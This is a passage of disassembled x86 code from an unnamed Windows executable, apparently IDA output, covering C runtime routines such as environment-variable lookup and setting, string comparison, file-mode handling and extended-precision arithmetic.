sub_41F004+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41F26A sub_41F004 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F297 proc near ; CODE XREF: sub_41AB9C+3423p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41F2FE dec eax dec eax jz short loc_41F2EF sub eax, 4 jz short loc_41F2EF sub eax, 3 jz short loc_41F2EF sub eax, 4 jz short loc_41F2E2 sub eax, 6 jz short loc_41F2D5 dec eax jz short loc_41F2C8 or eax, 0FFFFFFFFh jmp loc_41F3C0 ; --------------------------------------------------------------------------- loc_41F2C8: ; CODE XREF: sub_41F297+27j mov esi, dword_46976C mov eax, offset dword_46976C jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2D5: ; CODE XREF: sub_41F297+24j mov esi, dword_469768 mov eax, offset dword_469768 jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2E2: ; CODE XREF: sub_41F297+1Fj mov esi, dword_469770 mov eax, offset dword_469770 jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2EF: ; CODE XREF: sub_41F297+10j ; sub_41F297+15j ... push edi call sub_41F3C4 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2FE: ; CODE XREF: sub_41F297+Cj mov esi, dword_469764 mov eax, offset dword_469764 loc_41F309: ; CODE XREF: sub_41F297+3Cj ; sub_41F297+49j ... cmp esi, 1 jnz short loc_41F315 xor eax, eax jmp loc_41F3C0 ; --------------------------------------------------------------------------- loc_41F315: ; CODE XREF: sub_41F297+75j test esi, esi jnz short loc_41F320 push 3 call sub_417838 loc_41F320: ; CODE XREF: sub_41F297+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41F332 cmp edi, 0Bh jz short loc_41F332 cmp edi, 4 jnz short loc_41F358 loc_41F332: ; CODE XREF: sub_41F297+8Fj ; sub_41F297+94j mov ebx, dword_469544 and dword_469544, 0 cmp edi, ecx jnz short loc_41F387 mov edx, dword_4383CC mov dword_4383CC, 8Ch mov [ebp+arg_0], edx jmp short loc_41F35B ; --------------------------------------------------------------------------- loc_41F358: ; CODE XREF: sub_41F297+99j mov ebx, [ebp+arg_0] loc_41F35B: ; CODE XREF: sub_41F297+BFj cmp edi, ecx jnz short loc_41F387 mov eax, dword_4383C0 mov ecx, dword_4383C4 add ecx, eax cmp eax, ecx jge short loc_41F38E lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:438350h[edx*4] loc_41F37C: ; CODE XREF: sub_41F297+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41F37C jmp short loc_41F38E ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F297+AAj ; sub_41F297+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41F39C loc_41F38E: ; CODE XREF: sub_41F297+D7j ; sub_41F297+EEj push dword_4383CC push 8 call esi pop ecx pop ecx jmp short loc_41F3AA ; --------------------------------------------------------------------------- loc_41F39C: ; CODE XREF: sub_41F297+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41F3AA cmp edi, 4 jnz short loc_41F3BD loc_41F3AA: ; CODE XREF: sub_41F297+103j ; sub_41F297+10Cj cmp edi, 8 mov dword_469544, ebx jnz short loc_41F3BD mov eax, [ebp+arg_0] mov dword_4383CC, eax loc_41F3BD: ; CODE XREF: sub_41F297+111j ; sub_41F297+11Cj xor eax, eax pop ebx loc_41F3C0: ; CODE XREF: sub_41F297+2Cj ; sub_41F297+79j pop edi pop esi pop ebp retn sub_41F297 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F3C4 proc near ; CODE XREF: sub_41F297+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4383C8 cmp dword_43834C, edx push esi mov eax, offset dword_438348 jz short loc_41F3F2 lea esi, [ecx+ecx*2] lea esi, ds:438348h[esi*4] loc_41F3E6: ; CODE XREF: sub_41F3C4+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41F3F2 cmp [eax+4], edx jnz short loc_41F3E6 loc_41F3F2: ; CODE XREF: sub_41F3C4+16j ; sub_41F3C4+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:438348h[ecx*4] cmp eax, ecx jnb short loc_41F406 cmp [eax+4], edx jz short locret_41F408 loc_41F406: ; CODE XREF: sub_41F3C4+3Bj xor eax, eax locret_41F408: ; CODE XREF: sub_41F3C4+40j retn sub_41F3C4 endp ; =============== S U B R O U T I N E ======================================= sub_41F409 proc near ; CODE XREF: sub_41E162+23p arg_0 = dword ptr 4 cmp dword_46AB08, 0 push ebx push esi mov esi, dword_4694BC push edi jz short loc_41F480 test esi, esi jnz short loc_41F43A cmp dword_4694C4, esi jz short loc_41F480 call sub_41F7D7 test eax, eax jnz short loc_41F480 mov esi, dword_4694BC test esi, esi jz short loc_41F480 loc_41F43A: ; CODE XREF: sub_41F409+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41F480 push ebx call sub_415CF0 pop ecx mov edi, eax loc_41F44B: ; CODE XREF: sub_41F409+6Dj mov eax, [esi] test eax, eax jz short loc_41F480 push eax call sub_415CF0 cmp eax, edi pop ecx jbe short loc_41F473 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41F473 push edi push ebx push eax call sub_41F798 add esp, 0Ch test eax, eax jz short loc_41F478 loc_41F473: ; CODE XREF: sub_41F409+51j ; sub_41F409+59j add esi, 4 jmp short loc_41F44B ; --------------------------------------------------------------------------- loc_41F478: ; CODE XREF: sub_41F409+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41F482 ; --------------------------------------------------------------------------- loc_41F480: ; CODE XREF: sub_41F409+10j ; sub_41F409+1Cj ... xor eax, eax loc_41F482: ; CODE XREF: sub_41F409+75j pop edi pop esi pop ebx retn sub_41F409 endp ; =============== S U B R O U T I N E ======================================= sub_41F486 proc near ; CODE XREF: sub_41E84C+8Bp ; sub_41E84C+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_46A8C0 jnb short loc_41F4ED mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46A7C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41F4ED mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41F4C6 and cl, 7Fh jmp short loc_41F4D3 ; --------------------------------------------------------------------------- loc_41F4C6: ; CODE XREF: sub_41F486+39j cmp [esp+4+arg_4], 4000h jnz short loc_41F4E1 or cl, 80h loc_41F4D3: ; CODE XREF: sub_41F486+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41F4E1: ; CODE XREF: sub_41F486+48j mov dword_469494, 16h jmp short loc_41F4F7 ; --------------------------------------------------------------------------- loc_41F4ED: ; CODE XREF: sub_41F486+Bj ; sub_41F486+27j mov dword_469494, 9 loc_41F4F7: ; CODE XREF: sub_41F486+65j or eax, 0FFFFFFFFh pop esi retn sub_41F486 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4FC proc near ; CODE XREF: sub_41F004+165p ; sub_41F71C+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41F6FC cmp cx, 7FFFh jnb loc_41F6FC cmp dx, 0BFFDh ja loc_41F6FC cmp dx, 3FBFh ja short loc_41F565 xor eax, eax jmp short loc_41F59F ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: sub_41F4FC+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41F587 inc [ebp+arg_0] test [esi+8], edx jnz short loc_41F587 xor eax, eax cmp [esi+4], eax jnz short loc_41F589 cmp [esi], eax jnz short loc_41F589 jmp loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F587: ; CODE XREF: sub_41F4FC+71j ; sub_41F4FC+79j xor eax, eax loc_41F589: ; CODE XREF: sub_41F4FC+80j ; sub_41F4FC+84j cmp cx, ax jnz short loc_41F5AC inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41F5AC cmp [ebx+4], eax jnz short loc_41F5AC cmp [ebx], eax jnz short loc_41F5AC loc_41F59F: ; CODE XREF: sub_41F4FC+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41F717 ; --------------------------------------------------------------------------- loc_41F5AC: ; CODE XREF: sub_41F4FC+90j ; sub_41F4FC+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41F5BC: ; CODE XREF: sub_41F4FC+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41F610 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41F5D8: ; CODE XREF: sub_41F4FC+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41F603 mov eax, [ebp+var_4] inc word ptr [eax] loc_41F603: ; CODE XREF: sub_41F4FC+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41F5D8 loc_41F610: ; CODE XREF: sub_41F4FC+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41F5BC add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41F653 loc_41F62E: ; CODE XREF: sub_41F4FC+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41F64C lea eax, [ebp+var_24] push eax call sub_41EA11 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41F62E loc_41F64C: ; CODE XREF: sub_41F4FC+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41F68C loc_41F653: ; CODE XREF: sub_41F4FC+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41F68C movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41F66C: ; CODE XREF: sub_41F4FC+184j test byte ptr [ebp+var_24], 1 jz short loc_41F675 inc [ebp+var_14] loc_41F675: ; CODE XREF: sub_41F4FC+174j lea eax, [ebp+var_24] push eax call sub_41EA3F dec ebx pop ecx jnz short loc_41F66C cmp [ebp+var_14], 0 jz short loc_41F68C or byte ptr [ebp+var_24], 1 loc_41F68C: ; CODE XREF: sub_41F4FC+155j ; sub_41F4FC+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41F6A3 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41F6D8 loc_41F6A3: ; CODE XREF: sub_41F4FC+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41F6D5 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41F6D0 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41F6CA inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41F6D8 ; --------------------------------------------------------------------------- loc_41F6CA: ; CODE XREF: sub_41F4FC+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41F6D8 ; --------------------------------------------------------------------------- loc_41F6D0: ; CODE XREF: sub_41F4FC+1B5j inc [ebp+var_20+2] jmp short loc_41F6D8 ; --------------------------------------------------------------------------- loc_41F6D5: ; CODE XREF: sub_41F4FC+1ABj inc [ebp+var_24+2] loc_41F6D8: ; CODE XREF: sub_41F4FC+1A5j ; sub_41F4FC+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41F6FC mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41F6F6: ; CODE XREF: sub_41F4FC+86j mov [esi+0Ah], ax jmp short loc_41F717 ; --------------------------------------------------------------------------- loc_41F6FC: ; CODE XREF: sub_41F4FC+42j ; sub_41F4FC+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41F717: ; CODE XREF: sub_41F4FC+ABj ; sub_41F4FC+1FEj pop edi pop esi pop ebx leave retn sub_41F4FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F71C proc near ; CODE XREF: sub_41EB33+440p ; sub_41F004+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_438840 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_41F795 jge short loc_41F744 mov eax, [ebp+arg_4] mov ebx, offset dword_4389A0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_41F744: ; CODE XREF: sub_41F71C+16j cmp [ebp+arg_8], ecx jnz short loc_41F74F mov eax, [ebp+arg_0] mov [eax], cx loc_41F74F: ; CODE XREF: sub_41F71C+2Bj cmp [ebp+arg_4], ecx jz short loc_41F795 push esi push edi loc_41F756: ; CODE XREF: sub_41F71C+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_41F78E lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_41F781 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_41F781: ; CODE XREF: sub_41F71C+57j push esi push [ebp+arg_0] call sub_41F4FC pop ecx pop ecx xor ecx, ecx loc_41F78E: ; CODE XREF: sub_41F71C+49j cmp [ebp+arg_4], ecx jnz short loc_41F756 pop edi pop esi loc_41F795: ; CODE XREF: sub_41F71C+14j ; sub_41F71C+36j pop ebx leave retn sub_41F71C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F798 proc near ; CODE XREF: sub_41F409+5Ep ; sub_41FC49+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41F7A5 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41F7A5: ; CODE XREF: sub_41F798+7j push dword_46A8C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_46AAE4 call sub_41F845 add esp, 1Ch test eax, eax jnz short loc_41F7D2 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F798+31j add eax, 0FFFFFFFEh pop ebp retn sub_41F798 endp ; =============== S U B R O U T I N E ======================================= sub_41F7D7 proc near ; CODE XREF: sub_41F409+1Ep ; sub_41FAC2+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4694C4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_41F838 mov ebx, dword_421138 loc_41F7F0: ; CODE XREF: sub_41F7D7+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_41F840 push ebp call sub_415DC9 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41F840 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_41F840 push edi push [esp+18h+var_4] call sub_41FAC2 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41F7F0 loc_41F838: ; CODE XREF: sub_41F7D7+11j xor eax, eax loc_41F83A: ; CODE XREF: sub_41F7D7+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41F840: ; CODE XREF: sub_41F7D7+29j ; sub_41F7D7+38j ... or eax, 0FFFFFFFFh jmp short loc_41F83A sub_41F7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F845 proc near ; CODE XREF: sub_41F798+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421C20 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_469778, ebx push 1 pop edi jnz short loc_41F8B8 push edi mov eax, offset dword_421870 push eax push edi push eax push ebx push ebx call dword_421008 ; CompareStringW test eax, eax jz short loc_41F895 mov dword_469778, edi jmp short loc_41F8B8 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F845+46j push edi mov eax, offset dword_438FD4 push eax push edi push eax push ebx push ebx call dword_42100C ; CompareStringA test eax, eax jz loc_41FAAE mov dword_469778, 2 loc_41F8B8: ; CODE XREF: sub_41F845+31j ; sub_41F845+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_41F8CF push esi push [ebp+arg_8] call sub_41BF95 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_41F8CF: ; CODE XREF: sub_41F845+78j cmp [ebp+arg_14], ebx jle short loc_41F8E4 push [ebp+arg_14] push [ebp+arg_10] call sub_41BF95 pop ecx pop ecx mov [ebp+arg_14], eax loc_41F8E4: ; CODE XREF: sub_41F845+8Dj mov eax, dword_469778 cmp eax, 2 jnz short loc_41F909 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42100C ; CompareStringA jmp loc_41FAB0 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F845+A7j cmp eax, edi jnz loc_41FAAE cmp [ebp+arg_18], ebx jnz short loc_41F91E mov eax, dword_469538 mov [ebp+arg_18], eax loc_41F91E: ; CODE XREF: sub_41F845+CFj cmp esi, ebx jz short loc_41F92B cmp [ebp+arg_14], ebx jnz loc_41F9C3 loc_41F92B: ; CODE XREF: sub_41F845+DBj cmp esi, [ebp+arg_14] jnz short loc_41F938 loc_41F930: ; CODE XREF: sub_41F845+13Cj ; sub_41F845+16Dj push 2 loc_41F932: ; CODE XREF: sub_41F845+146j pop eax jmp loc_41FAB0 ; --------------------------------------------------------------------------- loc_41F938: ; CODE XREF: sub_41F845+E9j cmp [ebp+arg_14], edi jle short loc_41F944 loc_41F93D: ; CODE XREF: sub_41F845+151j ; sub_41F845+159j ... mov eax, edi jmp loc_41FAB0 ; --------------------------------------------------------------------------- loc_41F944: ; CODE XREF: sub_41F845+F6j cmp esi, edi jg short loc_41F989 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_421194 ; GetCPInfo test eax, eax jz loc_41FAAE cmp esi, ebx jle short loc_41F98D cmp [ebp+var_3C], 2 jb short loc_41F989 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41F989 loc_41F96F: ; CODE XREF: sub_41F845+142j mov dl, [eax+1] cmp dl, bl jz short loc_41F989 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_41F983 cmp cl, dl jbe short loc_41F930 loc_41F983: ; CODE XREF: sub_41F845+138j inc eax inc eax cmp [eax], bl jnz short loc_41F96F loc_41F989: ; CODE XREF: sub_41F845+101j ; sub_41F845+120j ... push 3 jmp short loc_41F932 ; --------------------------------------------------------------------------- loc_41F98D: ; CODE XREF: sub_41F845+11Aj cmp [ebp+arg_14], ebx jle short loc_41F9C3 cmp [ebp+var_3C], 2 jb short loc_41F93D lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41F93D loc_41F9A0: ; CODE XREF: sub_41F845+177j mov dl, [eax+1] cmp dl, bl jz short loc_41F93D mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_41F9B8 cmp cl, dl jbe loc_41F930 loc_41F9B8: ; CODE XREF: sub_41F845+169j inc eax inc eax cmp [eax], bl jnz short loc_41F9A0 jmp loc_41F93D ; --------------------------------------------------------------------------- loc_41F9C3: ; CODE XREF: sub_41F845+E0j ; sub_41F845+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_41FAAE mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41FA12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_41FA12: ; CODE XREF: sub_41F845+1B5j cmp [ebp+var_24], ebx jz loc_41FAAE push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_421064 call esi ; MultiByteToWideChar test eax, eax jz short loc_41FAAE push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_41FAAE mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_41FA7D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41FA7D: ; CODE XREF: sub_41F845+224j cmp edi, ebx jz short loc_41FAAE push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar test eax, eax jz short loc_41FAAE push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421008 ; CompareStringW jmp short loc_41FAB0 ; --------------------------------------------------------------------------- loc_41FAAE: ; CODE XREF: sub_41F845+63j ; sub_41F845+C6j ... xor eax, eax loc_41FAB0: ; CODE XREF: sub_41F845+BFj ; sub_41F845+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41F845 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAC2 proc near ; CODE XREF: sub_41F7D7+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_41FB26 push 3Dh push [ebp+arg_0] call sub_41FD08 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_41FB26 cmp [ebp+arg_0], esi jz short loc_41FB26 mov eax, dword_4694BC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4694C0 jnz short loc_41FB0C push eax call sub_41FCA1 pop ecx mov dword_4694BC, eax loc_41FB0C: ; CODE XREF: sub_41FAC2+3Cj cmp eax, edi jnz short loc_41FB64 cmp [ebp+arg_4], edi jz short loc_41FB2E cmp dword_4694C4, edi jz short loc_41FB2E call sub_41F7D7 test eax, eax jz short loc_41FB64 loc_41FB26: ; CODE XREF: sub_41FAC2+Dj ; sub_41FAC2+22j ... or eax, 0FFFFFFFFh loc_41FB29: ; CODE XREF: sub_41FAC2+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41FB2E: ; CODE XREF: sub_41FAC2+51j ; sub_41FAC2+59j cmp ebx, edi jnz loc_41FC42 push 4 call sub_415DC9 cmp eax, edi pop ecx mov dword_4694BC, eax jz short loc_41FB26 mov [eax], edi cmp dword_4694C4, edi jnz short loc_41FB64 push 4 call sub_415DC9 cmp eax, edi pop ecx mov dword_4694C4, eax jz short loc_41FB26 mov [eax], edi loc_41FB64: ; CODE XREF: sub_41FAC2+4Cj ; sub_41FAC2+62j ... sub esi, [ebp+arg_0] mov edi, dword_4694BC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_41FC49 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41FBC4 cmp dword ptr [edi], 0 jz short loc_41FBC4 test ebx, ebx jz short loc_41FBBC push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_415E3D pop ecx loc_41FB96: ; CODE XREF: sub_41FAC2+E2j cmp dword ptr [edi], 0 jz short loc_41FBA6 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41FB96 ; --------------------------------------------------------------------------- loc_41FBA6: ; CODE XREF: sub_41FAC2+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_4174DF pop ecx test eax, eax pop ecx jz short loc_41FBF6 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBBC: ; CODE XREF: sub_41FAC2+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_41FBF6 ; --------------------------------------------------------------------------- loc_41FBC4: ; CODE XREF: sub_41FAC2+BDj ; sub_41FAC2+C2j test ebx, ebx jnz short loc_41FC42 test esi, esi jge short loc_41FBCE neg esi loc_41FBCE: ; CODE XREF: sub_41FAC2+108j lea eax, ds:8[esi*4] push eax push edi call sub_4174DF pop ecx test eax, eax pop ecx jz loc_41FB26 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_41FBF1: ; CODE XREF: sub_41FAC2+F8j mov dword_4694BC, eax loc_41FBF6: ; CODE XREF: sub_41FAC2+F6j ; sub_41FAC2+100j cmp [ebp+arg_4], 0 jz short loc_41FC42 push [ebp+arg_0] call sub_415CF0 inc eax inc eax push eax call sub_415DC9 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41FC42 push [ebp+arg_0] push esi call sub_415C00 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_421004 ; SetEnvironmentVariableA push esi call sub_415E3D pop ecx loc_41FC42: ; CODE XREF: sub_41FAC2+6Ej ; sub_41FAC2+104j ... xor eax, eax jmp loc_41FB29 sub_41FAC2 endp ; =============== S U B R O U T I N E ======================================= sub_41FC49 proc near ; CODE XREF: sub_41FAC2+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4694BC push edi mov eax, [esi] test eax, eax jz short loc_41FC84 mov edi, [esp+8+arg_4] loc_41FC5B: ; CODE XREF: sub_41FC49+39j push edi push eax push [esp+10h+arg_0] call sub_41F798 add esp, 0Ch test eax, eax jnz short loc_41FC7A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41FC94 test al, al jz short loc_41FC94 loc_41FC7A: ; CODE XREF: sub_41FC49+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_41FC5B loc_41FC84: ; CODE XREF: sub_41FC49+Cj mov eax, esi sub eax, dword_4694BC sar eax, 2 neg eax loc_41FC91: ; CODE XREF: sub_41FC49+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41FC94: ; CODE XREF: sub_41FC49+2Bj ; sub_41FC49+2Fj mov eax, esi sub eax, dword_4694BC sar eax, 2 jmp short loc_41FC91 sub_41FC49 endp ; =============== S U B R O U T I N E ======================================= sub_41FCA1 proc near ; CODE XREF: sub_41FAC2+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_41FCB0 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41FCB0: ; CODE XREF: sub_41FCA1+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_41FCC2 loc_41FCB8: ; CODE XREF: sub_41FCA1+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short 